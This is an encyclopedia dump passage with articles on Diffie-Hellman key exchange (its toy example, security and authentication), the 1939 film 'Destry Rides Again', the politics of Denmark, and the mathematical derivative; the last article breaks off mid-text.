Both Alice and Bob have arrived at the same value, because ''g&lt;sup&gt;ab&lt;/sup&gt;'' and ''g&lt;sup&gt;ba&lt;/sup&gt;'' are equal.  Note that only ''a'', ''b'' and ''g&lt;sup&gt;ab&lt;/sup&gt; = g&lt;sup&gt;ba&lt;/sup&gt;'' are kept secret.  All the other values are sent in the clear.  Once Alice and Bob compute the shared secret they can use it as an encryption key, known only to them, for sending messages across the same open communications channel.
Of course, much larger values of ''a'',''b'', and ''p'' would be needed to make this example secure, since it is easy to try all the possible values of ''g&lt;sup&gt;ab&lt;/sup&gt;'' mod 23 (there will be, at most, 22 such values, even if ''a'' and ''b'' are large).  If ''p'' was a prime of more than 300 digits, and ''a'' and ''b'' were at least 100 digits long, then even the best known algorithms for finding ''a'' given only ''g'', ''p'', and ''g&lt;sup&gt;a&lt;/sup&gt;'' mod ''p'' (known as the [[discrete logarithm problem]]) would take longer than the lifetime of the universe to run.  ''g'' need not be large at all, and in practice is usually either 2 or 5.

Here's a more general description of the protocol:

# Alice and Bob agree on a finite [[cyclic group]] ''G'' and a [[Generating set of a group|generating]] element ''g'' in ''G''.  (This is usually done long before the rest of the protocol; ''g'' is assumed to be known by all attackers.) We will write the group ''G'' multiplicatively.
# Alice picks a random [[natural number]] ''a'' and sends ''g''&lt;sup&gt;''a''&lt;/sup&gt; to Bob.
# Bob picks a random natural number ''b'' and sends ''g''&lt;sup&gt;''b''&lt;/sup&gt; to Alice.
# Alice computes (''g''&lt;sup&gt;''b''&lt;/sup&gt;)&lt;sup&gt;''a''&lt;/sup&gt;.
# Bob computes (''g''&lt;sup&gt;''a''&lt;/sup&gt;)&lt;sup&gt;''b''&lt;/sup&gt;.

Both Alice and Bob are now in possession of the group element ''g''&lt;sup&gt;''ab''&lt;/sup&gt; which can serve as the shared secret key. The values of (''g''&lt;sup&gt;''b''&lt;/sup&gt;)&lt;sup&gt;''a''&lt;/sup&gt; and (''g''&lt;sup&gt;''a''&lt;/sup&gt;)&lt;sup&gt;''b''&lt;/sup&gt; are the same because groups are [[Power-associativity|power associative]].  (See also [[exponentiation]].)

===Chart===

Here is a chart to help simplify who knows what.  (Eve is an [[eavesdropper]] - she watches what is sent between Alice and Bob, but she does not alter the contents of their communications.)


Let s = shared secret key. s = 2

let a = Alice's private key. a = 6

let b = Bob's private key. b = 15

let g = public base. g=5

let p = public (prime) number. p = 23


{| border=&quot;0&quot; cellspacing=&quot;0&quot; cellpadding=&quot;2&quot;
| valign=&quot;top&quot; |
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;border: gray solid 1px; border-collapse: collapse;&quot;
| align=&quot;center&quot; colspan=&quot;2&quot; | '''Alice'''
|-
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot; | knows 
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot; | doesn't know
|-
| p = 23
| b = 15
|-
| base g = 5
|
|-
| a = 6
| 
|-
| 5&lt;sup&gt;6&lt;/sup&gt; mod 23 = 8
|
|-
| 5&lt;sup&gt;b&lt;/sup&gt; mod 23 = 19
|
|-
| 19&lt;sup&gt;6&lt;/sup&gt; mod 23 = 2
|
|-
| 8&lt;sup&gt;b&lt;/sup&gt; mod 23 = 2
|
|-
| 19&lt;sup&gt;6&lt;/sup&gt; mod 23 = 8&lt;sup&gt;b&lt;/sup&gt; mod 23
|
|-
| s = 2
|
|}
| valign=&quot;top&quot; | 
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;border: gray solid 1px; border-collapse: collapse;&quot;
| align=&quot;center&quot; colspan=&quot;2&quot; | '''Bob'''
|-
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot; | knows 
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot; | doesn't know
|-
| p = 23
| a = 6
|-
| base g = 5
|
|-
| b = 15
| 
|-
| 5&lt;sup&gt;15&lt;/sup&gt; mod 23 = 19
|
|-
| 5&lt;sup&gt;a&lt;/sup&gt; mod 23 = 8
|
|-
| 8&lt;sup&gt;15&lt;/sup&gt; mod 23 = 2
|
|-
| 19&lt;sup&gt;a&lt;/sup&gt; mod 23 = 2
|
|-
| 8&lt;sup&gt;15&lt;/sup&gt; mod 23 = 19&lt;sup&gt;a&lt;/sup&gt; mod 23
|
|-
| s = 2
|
|}
| valign=&quot;top&quot; | 
{| border=&quot;1&quot; cellspacing=&quot;0&quot; cellpadding=&quot;5&quot; style=&quot;border: gray solid 1px; border-collapse: collapse;&quot;
| align=&quot;center&quot; colspan=&quot;2&quot; | '''Eve'''
|-
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot; | knows 
| align=&quot;center&quot; bgcolor=&quot;#D0D0D0&quot; style=&quot;font-size: 90%;&quot; | doesn't know
|-
| p = 23
| a = 6
|-
| base g = 5
| b = 15
|-
| 
| s = 2
|-
| 5&lt;sup&gt;a&lt;/sup&gt; mod 23 = 8
| 
|-
| 5&lt;sup&gt;b&lt;/sup&gt; mod 23 = 19
|
|-
| 19&lt;sup&gt;a&lt;/sup&gt; mod 23 = s
|
|-
| 8&lt;sup&gt;b&lt;/sup&gt; mod 23 = s
|
|-
| 19&lt;sup&gt;a&lt;/sup&gt; mod 23 = 8&lt;sup&gt;b&lt;/sup&gt; mod 23
|
|}
|}


Note: It should be difficult for Alice to solve for Bob's private key or for Bob to solve for Alice's private key. If it isn't difficult for Alice to solve for Bob's private key (or vice versa), Eve may simply substitute her own private / public key pair, plug Bob's public key into her private key, produce a fake shared secret key, and solve for Bob's private key (and use that to solve for the shared secret key. Eve may attempt to choose a public / private key pair that will make it easy for her to solve for Bob's private key).

==Security==
The protocol is considered secure against eavesdroppers if ''G'' and ''g'' are chosen properly.  The eavesdropper (&quot;[[Alice and Bob|Eve]]&quot;) must solve the [[Diffie-Hellman problem]] to obtain ''g''&lt;sup&gt;''ab''&lt;/sup&gt;.  This is currently considered difficult.  An efficient algorithm to solve the [[Discrete logarithm problem|discrete logarithm problem]] would make it easy to compute ''a'' or ''b'' and solve the Diffie-Hellman problem, making this protocol insecure.

The [[Glossary of group theory|order]] of ''G'' should be prime or have a large prime factor to prevent use of the [[Pohlig-Hellman algorithm]] to obtain ''a'' or ''b''.  For this reason, a [[Sophie Germain prime]] ''q'' is sometimes used to calculate ''p=2q+1'', called a [[safe prime]], since the order of ''G'' is then only divisible by 2 and ''q''.  ''g'' is then sometimes chosen to generate the order ''q'' subgroup of ''G'', rather than ''G'', so that the [[Legendre symbol]] of ''g&lt;sup&gt;a&lt;/sup&gt;'' never reveals the low order bit of ''a''.

If Alice and Bob use [[random number generator]]s whose outputs are not completely random but can be predicted to some extent, then Eve's task is much easier.

The secret integers ''a'' and ''b'' are discarded at the end of the [[session (computer science)|session]].
Therefore, Diffie-Hellman key exchange by itself trivially achieves [[perfect forward secrecy]] because no long-term private keying material exists to be disclosed.  

===Authentication===
In the original description, the Diffie-Hellman exchange by itself does not provide [[authentication]] of the parties, and is thus vulnerable to [[man in the middle attack]]. The man-in-the-middle may establish two distinct Diffie-Hellman keys, one with Alice and the other with Bob, and then try to masquerade as Alice to Bob and/or vice-versa, perhaps by decrypting and re-encrypting messages passed between them. Some method to authenticate these parties to each other is generally needed.

A variety of cryptographic authentication solutions incorporate a Diffie-Hellman exchange. When Alice and Bob have a [[public key infrastructure]] they may digitally sign the agreed key, or ''g''&lt;sup&gt;''a''&lt;/sup&gt; and ''g''&lt;sup&gt;''b''&lt;/sup&gt;, as in [[MQV]], [[Station-to-Station protocol|STS]] and the [[Internet key exchange|IKE]] component of the [[IPsec]] protocol suite for securing [[Internet Protocol]] communications. When Alice and Bob share a password, they may use a [[password-authenticated key agreement]] form of Diffie-Hellman.

==References==
* [http://www.mirrors.wiretapped.net/security/info/reference/cesg-publications/History/secenc.pdf Non-Secret Encryption Using a Finite Field] MJ Williamson, [[January 21]], [[1974]].
* [http://www.fi.muni.cz/usr/matyas/lecture/paper3.pdf Thoughts on Cheaper Non-Secret Encryption] MJ Williamson, [[August 10]], [[1976]].
* [http://citeseer.ist.psu.edu/340126.html New Directions in Cryptography] W. Diffie and M. E. Hellman, IEEE Transactions on Information Theory, vol. IT-22, Nov. 1976, pp: 644-654.
* [http://patft.uspto.gov/netacgi/nph-Parser?Sect1=PTO1&amp;Sect2=HITOFF&amp;d=PALL&amp;p=1&amp;u=/netahtml/srchnum.htm&amp;r=1&amp;f=G&amp;l=50&amp;s1=4200770.WKU.&amp;OS=PN/4200770&amp;RS=PN/4200770 Cryptographic apparatus and method] Martin E. Hellman, Bailey W. Diffie, and Ralph C. Merkle, U.S. Patent #4,200,770, [[29 April]] [[1980]]
* [http://www.cesg.gov.uk/site/publications/media/ellis.pdf The History of Non-Secret Encryption] [[James H. Ellis|JH Ellis]] [[1987]] (28K PDF file) ([http://www.jya.com/ellisdoc.htm HTML version])
* [http://cr.yp.to/bib/1988/diffie.pdf The First Ten Years of Public-Key Cryptography] Whitfield Diffie, Proceedings of the IEEE, vol. 76, no. 5, May 1988, pp: 560-577 (1.9MB PDF file)
* [[Alfred Menezes|Menezes, Alfred]]; [[Paul van Oorschot|van Oorschot, Paul]]; [[Scott Vanstone|Vanstone, Scott]] (1997).  ''[[Handbook of Applied Cryptography]]'' Boca Raton, Florida: CRC Press. ISBN 0-8493-8523-7. ([http://www.cacr.math.uwaterloo.ca/hac/ Available online])
* [[Simon Singh|Singh, Simon]] (1999) ''[[The Code Book]]: the evolution of secrecy from Mary Queen of Scots to quantum cryptography'' New York: Doubleday ISBN 0-385-49531-5
* [http://www.comsoc.org/livepubs/ci1/public/anniv/pdfs/hellman.pdf An Overview of Public Key Cryptography] Martin E. Hellman, IEEE Communications Magazine, May 2002, pp:42-49. (123kB PDF file)

==See also==
* [[Portal:Cryptography |Cryptography portal]]

* [[Public-key cryptography]]
* [[ElGamal encryption]]
* [[Diffie-Hellman problem]]
* [[MQV]]
* [[Password-authenticated key agreement]]

==External links==
* '''RFC 2631''', ''Diffie-Hellman Key Agreement Method'' E. Rescorla June 1999. [http://www.ietf.org/rfc/rfc2631.txt Full text of RFC 2631]
* [http://csrc.nist.gov/encryption/kms/summary-x9-42.pdf ''Summary of ANSI X9.42: Agreement of Symmetric Keys Using Discrete Logarithm Cryptography''] (64K PDF file) ([http://www.rsasecurity.com/rsalabs/node.asp?id=2306 Description of ANSI 9 Standards])
* [http://www.securitydocs.com/library/2978 Diffie-Hellman Key Exchange - A Non-Mathematician's Explanation] &amp;mdash; by Keith Palmgren
* [http://www.xml-dev.com/blog/index.php?action=viewtopic&amp;id=196 Diffie-Hellman explained visually]

{{Public-key cryptography}}

[[Category:Cryptographic protocols]]
[[Category:Asymmetric-key cryptosystems]]

[[de:Diffie-Hellman-Schlüsselaustausch]]
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[[fi:Diffie-Hellman]]</text>
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  <page>
    <title>Destry Rides Again</title>
    <id>7906</id>
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      <text xml:space="preserve">{{Infobox Film | name = Destry Rides Again
  | image = Destry Rides Again DVD cover.jpg
  | caption = DVD cover
  | director = [[George Marshall (director)|George Marshall]]   
  | producer = Joe Pasternak
  | writer =  [[Max Brand]] novel Destry Rides Again&lt;br&gt;Felix Jackson screenplay and story&lt;br&gt;Henry Myers&lt;br&gt;Gertrude Purcell   
  | starring =[[Marlene Dietrich]]&lt;br&gt;[[James Stewart]]&lt;br&gt;[[Mischa Auer]]
  | music =[[Frank Skinner (composer)|Frank Skinner]]
  | cinematography =  
  | editing =
  | distributor = 
  | released = [[December 29]], [[1939 in film|1939]] U.S. release
  | runtime = 94 min
  | language = English
  | budget = 
  | imdb_id = 0031225
}}
'''''Destry Rides Again''''' is a [[1939]] [[western film]] directed by George Marshall, starring [[Marlene Dietrich]], [[James Stewart (actor)|James Stewart]], [[Mischa Auer]],  [[Charles Winninger]], [[Brian Donlevy]], [[Allen Jenkins]], [[Irene Hervey]], [[Bill Cody, Jr.]], and [[Una Merkel]].

This is both a comedy and a drama, about how a corrupt and violent town can be cleaned up without relying entirely on physical force. It demonstrates the power the cooperation between men and women, as well as what can be done by putting respect for the law over reliance on brawn.

{{spoiler}}
Characters:
*Kent - saloon owner
*Slade - mayor
*Callahan - henpecked Russian
*Frenchy - the saloon singer
*Wash - new sheriff
*Destry - new deputy
[[Image:destry.jpg|thumb|left|James Stewart and Marlene Dietrich ]]
The film opens to the usual drunken men's brawl, but outside the tavern rather than in. We then watch the saloon owner and Frenchy (Dietrich) cheat a man out of his ranch. Frenchy spills coffee on the man when he gleefully bets his $10,000 ranch with an unbeatable poker hand. Kent's stooge replaces the man's ace in the hole with a deuce. When Sheriff Keho goes up to investigate, Kent's gang murders him and hides his body. The mayor announces that Keho has suddenly gone away on business and picks the banjo playing town drunk to be the new sheriff. Unexpectedly, this former deputy of the great Destry suddenly swears off drinking: &quot;You gotta choose between the bottle or the badge&quot;. He announces that he's sending for Tom Destry, Junior who cleaned up Tombstone.

A cattleman and his sister ride on the 6-horse stage along with Tom. The hot-headed cattleman complains about the bumpy ride, while his sister says she doesn't mind at all. Tom watches with calm, almost amused detachment. He then deflates Jack with a homespun anecdote about a violent man who went up against the wrong person one day, and is now pushing up the prettiest flowers in his hometown cemetery. 

Kent introduces himself as a man with an unusual hobby - taking deputy's guns - and the other men edge cautiously away, but Destry defuses the situation by announcing he doesn't carry a gun. But people are not disappointed because a big fight does indeed break out: it's a cat fight over Callahan between his wife and Frenchy: &quot;You know he'd rather be cheated by me than married to you.&quot; It lasts over two minutes and is broken up by Destry pouring water over the two women. It's a running joke that Callahan is treated like a pouting boy by his domineering wife.

Destry believes in law and order, but not in guns. This is the paradox of the film. A casual observer might think he was a pacifist. But he does believe in using force, just not in violent shoot-outs. A violent confrontation makes the bad guys look like heroes somehow, but locking them up in jail makes them look cheap and serves as a warning to the rest. 

Destry is actually the most forceful man in town. When the sheriff talks of quitting, because Destry refuses to challenge the bad guys with guns a-blazing, Destry grabs his shoulder and turns him around. &quot;You're not going back to being the town drunk!&quot; He makes him swear him in. When three horsemen come in, shooting their pistols for fun, Destry tells them to hold on. One man calls him &quot;No Gun Destry&quot;, but he asks if he can heft the other's guns. He then shoots the knobs off a sign and angrily tells the much subdued gun owner, &quot;The next time, I'll put you in jail.&quot;

Destry stops another gun fight by siding with Kent against Claggett, the man he cheated, and permits Kent to throw Claggett off the ranch he worked ten years for. &quot;We gotta respect the law. No two ways about it, right?&quot; He also visits Frenchy &quot;to apologize&quot; (but really to appeal to her better nature).

He gives Callahan a pair of pants to help locate Keogh's body. No pacifist, Destry punches out Jack when he insultingly accuses him of accepting bribes from Kent.



The film has been selected for preservation in the United States [[National Film Registry]].

A western with a very similar plot and similar comic effects is [[Michael Curtiz]]'s ''[[Dodge City (1939 movie)|Dodge City]]''.


A [[Broadway theatre|Broadway]] [[Musical theater|musical]] version of the story, ''Destry Rides Again,'' opened in [[New York]] at the [[Imperial Theater]] on [[April 23]], [[1959 in music|1959]], and played 472 performances.  Produced by [[David Merrick]], the show had music and lyrics by [[Harold Rome]] and starred [[Andy Griffith]] as Destry and [[Dolores Gray]] as Frenchy.  Obviously influenced by having played the role of Destry, when [[Andy Griffith]] became the star on The Andy Griffith Show (1960-1968), the main character, Andy Taylor, was a sherrif who carried no gun.

[[Category:1939 films]]
[[Category:Films based on fiction books]]
[[Category:United States National Film Registry]]
[[Category:Western films]]

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    <title>Politics of Denmark</title>
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      <text xml:space="preserve">{{Politics of Denmark}}
'''Politics of Denmark''' takes place in a framework of a [[parliamentary system|parliamentary]] [[representative democratic]] [[constitutional monarchy]], whereby the [[Prime Minister of Denmark|prime minister]] is the [[head of government]], and of a pluriform multi-party system. [[Executive power]] is exercised by the government, with the prime minister acting as the [[first among equals]] (''[[primus inter pares]]''). [[Legislative power]] is vested in both the [[government]] and the Danish [[parliament]], known as the ''[[Folketing]]''. In the last decennia the party system is dominated by the market liberal [[Venstre (Denmark)|Venstre]] party and the social democratic [[Socialdemokraterne|Social Democrats]].
The [[courts of Denmark|Danish Judiciary]] is functionally and administratively independent of the executive and the legislature.

== Executive branch ==
[[Denmark]] is a [[constitutional monarchy]] with an [[List of Danish monarchs|almost unbroken link of monarchs]] for more than 1,000 years (except for an interregnum of eight years from [[1332]] to [[1340]]). The current monarch, [[Margaret II of Denmark|Queen Margaret II]], has largely ceremonial functions; perhaps her most significant formal power lies in her right to appoint the [[Prime Minister|prime minister]] ''(Statsminister)'' and the [[cabinet of Denmark]], who are responsible for administration of the government. However, she must consult with parliamentary leaders to determine the public's will, since the cabinet may be dismissed by a [[vote of no confidence]] in the ''[[Folketing]],'' the Danish parliament. Cabinet members are occasionally recruited from outside the ''Folketing.''
The vote of no confidence is an essential part of danish parliamentary work, since the constitution states &quot;no government can work with a majority against it&quot;, opposed to the more common international rule that says a government needs a majority for it. These rules may seem to have the same meaning, but in politics nothing is absolute, and as proof of this the Social Democrats once used this rule to form government although the liberal-conservative block was of greater number.
{{office-table}}
|[[List of Danish monarchs|Queen]]
|[[Margrethe II of Denmark|Margrethe II]]
|
|[[14 January]] [[1972]]
|-
|[[Prime Minister of Denmark|Prime Minister]]
|[[Anders Fogh Rasmussen]]
|[[Venstre (Denmark)|Venstre]]
|[[27 November]] [[2001]]
|-
|Other Government party
|
|[[Det Konservative Folkeparti|Kons]]
|
|}

See also the [[Cabinets of Denmark]] and the [[List of Prime Ministers of Denmark|List of Prime Ministers]]

==Parliament==
Between [[1849]] and [[1953]], the [[Folketing]] was a house of a [[bicameral]] ''[[Rigsdag]]'', the other house being the ''[[Landsting (Denmark)|Landsting]]'', which was indirectly elected. However, the [[Constitution of Denmark|1953 Constitution]] established a [[unicameral]] ''Folketing'' of not more than 179 members, of whom two are elected from the [[Faroe Islands]] and two from [[Greenland]]. Elections are held at least every four years, but the prime minister can dissolve the ''Folketing'' at any time and call for new elections. ''Folketing'' members are elected by a complicated system of proportional representation; any party receiving at least 2% of the total national vote receives representation. The result is a multiplicity of parties (seven currently in parliament), the largest of which received 29% of the votes ([[as of 2005]]). Electorate participation lies normally above 85%.

== Political conditions ==
Political life in Denmark is orderly and democratic. Political changes occur gradually through a process of consensus, and political methods and attitudes are generally moderate.

The [[Social Democrats (Denmark)|Social Democrats]], historically identified with a well-organized labor movement but today appealing more broadly to the middle class, has held power either alone in [[minority cabinet|minority cabinets]] or as dominant party in [[coalition cabinet|coalition cabinets]] for most of the postwar period. [[1982]] to [[1993]], and since the [[Danish parliamentary election, 2001|2001 election]] Denmark has been governed by [[Liberalism|liberal]]-[[conservative]] coalitions &amp;ndash; currently led by [[Anders Fogh Rasmussen]] as Prime Minister.

The vulnerability implicit in a minority coalition has been evidenced in recent coalition failure to achieve consensus on issues such as extensive reforms on matters of labor market, taxation, and the [[Social welfare|welfare system]]. Consensus decision-making is the most prominent feature of Danish politics. It often allows the small centrist parties to play a larger role than their size suggests. Although the centrist Radikale party sometimes shows traces of its pacifist past, particularly on defense spending, most major legislation is passed by sizeable majorities.

== Political parties and elections ==
{{elect|List of political parties in Denmark|Elections in Denmark}}
Denmark elects a [[legislature]] on a national level. The '''[[Folketing|Danish Parliament]]''' (''Folketinget'') has 179 members elected for four year terms. 135 of them are elected by [[proportional representation]] in 17 [[constituency|constituencies]] and 40 others are allotted in proportion to the total vote of the parties. The [[Faroe Islands]] and [[Greenland]] directly elect 2 members each.
{{Danish parliamentary election, 2005}}
{{main|Danish parliamentary election, 2005}}

== See also==
*[[Constitution of Denmark]]

[[Category:Politics of Denmark]]

[[es:Política de Dinamarca]]
[[pt:Política da Dinamarca]]</text>
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      <text xml:space="preserve">:''For other senses of this word, see [[derivative (disambiguation)]].''
{{Calculus}}

In [[mathematics]], the '''derivative''' is defined to be the ''instantaneous rate of change'' of a function. The derivative is one of the two central concepts of [[calculus]]. (The other is the [[integral]]; the two are related via the [[fundamental theorem of calculus]].)

The simplest type of derivative is the derivative of a real-valued [[function (mathematics)|function]] of a single [[real number|real]] variable. It has several interpretations: 
* The derivative gives the [[slope]] of the [[tangent]] to the [[graph of a function|graph]] of the function at a point. In this way, derivatives can be used to determine many geometrical properties of the graph, such as [[concavity]] or [[convex|convexity]].
* The derivative provides a mathematical formulation of '''rate of change'''; it measures the rate at which the function's value [[change]]s as the function's [[parameter|argument]] changes.

This derivative is the kind usually encountered in a first course on calculus, and historically was the first to be discovered. However, there are also many [[derivative (generalizations)|generalizations of the derivative]]. 

The remainder of this article discusses only the simplest case (real-valued functions of real numbers).

==Differentiation and differentiability==
In physical terms,  '''differentiation''' expresses the rate at which a quantity, ''y'', changes with respect to the change in another quantity, ''x'', on which it has a [[function (mathematics)|functional relationship]]. Using the symbol &amp;Delta; to refer to change in a quantity, this rate is defined as a [[limit of a function|limit]] of difference quotients

:&lt;math&gt; \frac{\Delta y}{\Delta x} &lt;/math&gt;

as &amp;Delta;''x'' approaches 0. In [[Leibniz_notation|Leibniz's notation for derivatives]], the derivative of ''y'' with respect to ''x'' is written 
 
:&lt;math&gt; \frac{dy}{dx} &lt;/math&gt;

suggesting the ratio of two [[infinitesimal]] quantities.  The above expression is pronounced in various ways such as &quot;''dy by dx''&quot; or &quot;''dy over dx''&quot;. The form &quot;''dy dx''&quot; is also used conversationally, although it may be confused with the notation for element of area.

Modern mathematicians do not bother with &quot;dependent quantities&quot;, but simply state that differentiation is a mathematical [[operator|operation]] on functions.  One precise way to define the derivative is as a limit:

:&lt;math&gt;\lim_{h \to 0}\frac{f(x+h) - f(x)}{h}.&lt;/math&gt;

A function is '''differentiable''' at a point ''x'' if the above limit exists (as a finite real number) at that point; a function is differentiable on an [[Interval (mathematics)|interval]] if it is differentiable at every point within the interval.

As an alternative, the development of [[nonstandard analysis]] in the 20th century showed that Leibniz's original idea of the derivative as a ratio of infinitesimals can be made as rigorous as the formulation in terms of limits.

If a function is not [[Continuous function|continuous]] at ''x'', then there is no tangent line and the function is therefore not differentiable at ''x''; however, even if a function is continuous at ''x'', it may not be differentiable there, as in the case of the function ''y''=|''x''|, which has a kink at ''x''=0. In other words, differentiability implies continuity, but not vice versa. One famous example of a function that is continuous everywhere but differentiable nowhere is the [[Weierstrass function]].

The derivative of a differentiable function can itself be differentiable. The derivative of a derivative is called a '''second derivative'''. Similarly, the derivative of a second derivative is a '''third derivative''', and so on.

==Newton's difference quotient==
The derivative of a function ''f'' at ''x'' is geometrically the slope of the tangent line to the graph of ''f'' at ''x''. Without the concept which we are about to define, it is impossible to directly find the slope of the [[tangent]] line to a given function, because we only know one point on the tangent line, namely (''x'', ''f''(''x'')). Instead, we will approximate the tangent line with multiple [[secant line]]s that have progressively shorter [[distance]]s between the two intersecting points. When we take the [[limit (mathematics)|limit]] of the slopes of the nearby secant lines in this progression, we will get the slope of the tangent line. The derivative is then defined by taking the [[limit (mathematics)|limit]] of the slope of [[Secant line|secant lines]] as they approach the [[tangent]] line.
[[Image:Tangent-calculus.png|thumb|300px|Tangent line at (''x'', ''f''(''x''))]] 
[[Image:Secant-calculus.png|thumb|300px|Secant to curve ''y''= ''f''(''x'') determined by points (''x'', ''f''(''x'')) and (''x''+''h'', ''f''(''x''+''h'')).]]

To find the slopes of the nearby secant lines, choose a small number ''h''.  ''h'' represents a small change in ''x'', and it can be either [[negative and non-negative numbers|positive]] or negative.  The slope of the line through the points (''x'',''f(x)'') and (''x+h'',''f(x+h)'') is
:&lt;math&gt;{f(x+h)-f(x)\over h}.&lt;/math&gt;
This expression is [[Isaac Newton|Newton]]'s '''[[difference quotient]]'''.  The '''derivative of''' '''''f''''' '''at''' '''''x''''' is the limit of the value of the difference quotient as the secant lines get closer and closer to being a tangent line:
:&lt;math&gt;f'(x)=\lim_{h\to 0}{f(x+h)-f(x)\over h}.&lt;/math&gt;
[[Image:Lim-secant.png|thumb|300px|Tangent line as limit of secants.]]

If the derivative of ''f'' exists at every point ''x'' in the domain, we can define the '''derivative of''' '''''f''''' to be the function whose value at a point ''x'' is the derivative of ''f'' at ''x''.

Since immediately [[substitution|substituting]] 0 for ''h'' results in [[division by zero]], calculating the derivative directly can be unintuitive.  One technique is to simplify the [[numerator]] so that the ''h'' in the [[denominator]] can be cancelled.  This happens easily for [[polynomial]]s; see [[calculus with polynomials]].  For almost all functions however, the result is a mess. Fortunately, many [[Derivative (examples)|guidelines]] exist.

==Notations for differentiation==
===Lagrange's notation===
The simplest notation for differentiation that is in current use is due to [[Joseph Louis Lagrange]] and uses the [[Prime (mark)|prime mark]]:

{|
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;f'(x) \;&lt;/math&gt;
|for the first derivative,
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;f''(x) \;&lt;/math&gt;
|for the second derivative,
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;f'''(x) \;&lt;/math&gt;
|for the third derivative, and
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;f^{(n)}(x) \;&lt;/math&gt;
|for the ''n''th derivative, provided ''n'' &gt; 3
|}

===Leibniz's notation===
The other common notation is [[Leibniz's notation for differentiation]] which is named after [[Gottfried Leibniz|Leibniz]].  For the function whose value at ''x'' is the derivative of ''f'' at ''x'', we write:

:&lt;math&gt;\frac{d\left(f(x)\right)}{dx}.&lt;/math&gt;

With Leibniz's notation, we can write the derivative of ''f'' at the point ''a'' in two different ways:

:&lt;math&gt;\frac{d\left(f(x)\right)}{dx}\left.{\!\!\frac{}{}}\right|_{x=a} = \left(\frac{d\left(f(x)\right)}{dx}\right)(a).&lt;/math&gt;

If the output of ''f''(''x'') is another variable, for example, if ''y''=''f''(''x''), we can write the derivative as:

:&lt;math&gt;\frac{dy}{dx}.&lt;/math&gt;

Higher derivatives are expressed as

:&lt;math&gt;\frac{d^n\left(f(x)\right)}{dx^n}&lt;/math&gt; or &lt;math&gt;\frac{d^ny}{dx^n}&lt;/math&gt;

for the ''n''-th derivative of ''f''(''x'') or ''y'' respectively. Historically, this came from the fact that, for example, the 3rd derivative is:

:&lt;math&gt;\frac{d \left(\frac{d \left( \frac{d \left(f(x)\right)} {dx}\right)} {dx}\right)} {dx}&lt;/math&gt;

which we can loosely write as:

:&lt;math&gt;\left(\frac{d}{dx}\right)^3 \left(f(x)\right) =
\frac{d^3}{\left(dx\right)^3} \left(f(x)\right).&lt;/math&gt;

Dropping brackets gives the notation above.

Leibniz's notation allows one to specify the variable for differentiation (in the denominator). This is especially relevant for [[partial derivative|partial differentiation]].  It also makes the [[chain rule]] easy to remember:

:&lt;math&gt;\frac{dy}{dx} = \frac{dy}{du} \cdot \frac{du}{dx}.&lt;/math&gt;

(In the formulation of calculus in terms of limits, the &quot;du&quot; terms ''cannot'' literally [[Cancellation property|cancel]], because on their own they are undefined; they are only defined when used together to express a derivative. In [[nonstandard analysis]], however, they can be viewed as [[infinitesimal]] numbers that cancel.)

===Newton's notation===
[[Newton's notation for differentiation]] (also called the dot notation for differentiation) requires placing a dot over the function name:
:&lt;math&gt;\dot{x} = \frac{dx}{dt} = x'(t)&lt;/math&gt;

:&lt;math&gt;\ddot{x} = x''(t)&lt;/math&gt;
and so on. 

Newton's notation is mainly used in [[mechanics]], normally for time derivatives such as velocity and acceleration, and in [[ODE]] theory. It is usually only used for first and second derivatives.

===Euler's notation===
[[Leonhard Euler|Euler]]'s notation uses a [[differential operator]], denoted as ''D'', which is prefixed to the function with the variable as a subscript of the operator:

{|
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;D_x f(x) \;&lt;/math&gt;
|for the first derivative,
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;{D_x}^2 f(x) \;&lt;/math&gt;
|for the second derivative, and
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;{D_x}^n f(x) \;&lt;/math&gt;
|for the ''n''th derivative, provided ''n'' &gt; 1
|}

This notation can also be abbreviated when taking derivatives of expressions that contain a single variable.  The subscript to the operator is dropped and is assumed to be the only variable present in the expression.  In the following examples, ''u'' represents any expression of a single variable:

{|
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;D u \;&lt;/math&gt;
|for the first derivative,
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;D^2 u \;&lt;/math&gt;
|for the second derivative, and
|-
|style=&quot;text-align: right; height: 2.75em&quot;|&lt;math&gt;D^n u \;&lt;/math&gt;
|for the ''n''th derivative, provided ''n'' &gt; 1
|}

Euler's notation is useful for stating and solving [[linear differential equation]]s.

==Critical points==
Points on the [[graph of a function|graph]] of a function where the derivative is undefined or equals [[0 (number)|zero]] are called ''critical points'' or sometimes ''[[stationary point]]s'' (in the case where the derivative equals zero).  If the second derivative is positive at a critical point, that point is a [[local minimum]]; if negative, it is a [[local maximum]]; if zero, it may or may not be a local minimum or local maximum.  Taking derivatives and solving for critical points is often a simple way to find local minima or maxima, which can be useful in [[Optimization (mathematics)|optimization]].  In fact, local minima and maxima can only occur at critical points or endpoints.  This is related to the [[extreme value theorem]].

==Physics==
Arguably the most important application of calculus to [[physics]] is the concept of the &quot;'''time derivative'''&quot;—the rate of change over time—which is required for the precise definition of several important concepts. In particular, the time derivatives of an object's position are significant in [[Newtonian physics]]:
* [[Velocity]] (instantaneous velocity; the concept of average velocity predates calculus) is the derivative (with respect to time) of an object's [[Displacement (distance)|position]].
* [[Acceleration]] is the derivative (with respect to time) of an object's velocity, that is, the second derivative (with respect to time) of an object's position.

